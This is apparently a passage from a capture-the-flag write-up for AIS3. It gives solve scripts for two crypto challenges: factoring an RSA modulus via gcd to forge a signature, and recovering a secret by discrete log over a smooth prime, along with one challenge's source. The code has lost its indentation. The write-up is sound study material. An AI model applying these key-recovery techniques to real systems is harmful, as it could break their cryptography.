import math
n=int(input('n:'))
e=int(input('e:'))
c1=bytes_to_long(b64decode(input('c1:')))
c2=bytes_to_long(b64decode(input('c2:')))
diff=abs(c1-c2)

for i in range(0, 256):
if math.gcd(diff-i, n) > 1:
q=math.gcd(diff-i, n)
print('Found')

print(q)
p=n//q
phi=(p-1)*(q-1)
d=inverse(e, phi)
data=b64encode(b"Give me the flag!")
data=bytes_to_long(sha256(data).digest())
data=long_to_bytes(pow(data, d, n))
print(b64encode(data))

image

Flag:AIS3{IJustWantItFasterQAQ}

zkp

zkp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/bin/python3
import random
from secret import flag
from Crypto.Util.number import bytes_to_long, getPrime, isPrime
import signal

def alarm(second):
# This is just for timeout.
# It should not do anything else with the challenge.
def handler(signum, frame):
print('Timeout!')
exit()
signal.signal(signal.SIGALRM, handler)
signal.alarm(second)

def gen_prime(n):
while True:
p = 1
while p < (1 << (n - 1)) :
p *= getPrime(5)
p = p * 2 + 1
if isPrime(p): break
return p

def zkp_protocol(p, g, sk):

# y = pow(g, sk, p)
r = random.randrange(p-1)

a = pow(g, r, p)
print(f'a = {a}')

print('Give me the challenge')
try:
c = int(input('c = '))
w = (c * sk + r) % (p-1)
print(f'w = {w}')
# you can verify I know the flag with
# g^w (mod p) = (g^flag)^c * g^r (mod p) = y^c * a (mod p)

except:
print('Invalid input.')

if __name__ == "__main__":
alarm(300)
assert len(flag) == 60
p = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487
# p is generated by gen_prime(1024)
g = 5
y = pow(g, bytes_to_long(flag), p)
print("""
******************************************************
Have you heard of Zero Knowledge Proof? I cannot give
you the flag, but I want to show you I know the flag.
So, let me show you with ZKP.
------------------------------------------------------
1) Printe public key.
2) Run ZKP protocol.
3) Bye~
******************************************************
""")

for _ in range(3):
try:
option = input("Option: ")
if int(option) == 1:
print('My public key:')
print(f'p = {p}')
print(f'g = {g}')
print(f'y = {y}')

elif int(option) == 2:
zkp_protocol(p, g, bytes_to_long(flag))

else:
print("Bye~~~~~")
break
except:
print("Something wrong?")
exit()

可以看出來 p 是 smooth prime,結合$y=g^{ flag} (mod p)$,可以直接丟sage discrete_log解。
solve.sage

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import *
p = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487
g = 5
y = 826538666839613533825164219540577914201103248283631882579415248247469603672292332561005185045449294103457059566058782307774879654805356212117148864755019033392691510181464751398765490686084806155442759849410837406192708511190585484331707794669398717997173649869228717077858848442336016926370038781486833717341

def solve_discrete_log(p, g, A):
F = GF(p)
g, A = F(g), F(A)
a = discrete_log(A,g)
return a

print(long_to_bytes(solve_discrete_log(p, g, y)))

Flag:AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ}

After all

賽後記分板:
image

CakeisTheFake 的三位高中生成功佔領2, 3, 4名owob
這場差一題就破台web,結果是zip經典梗qwq,我還有好多要學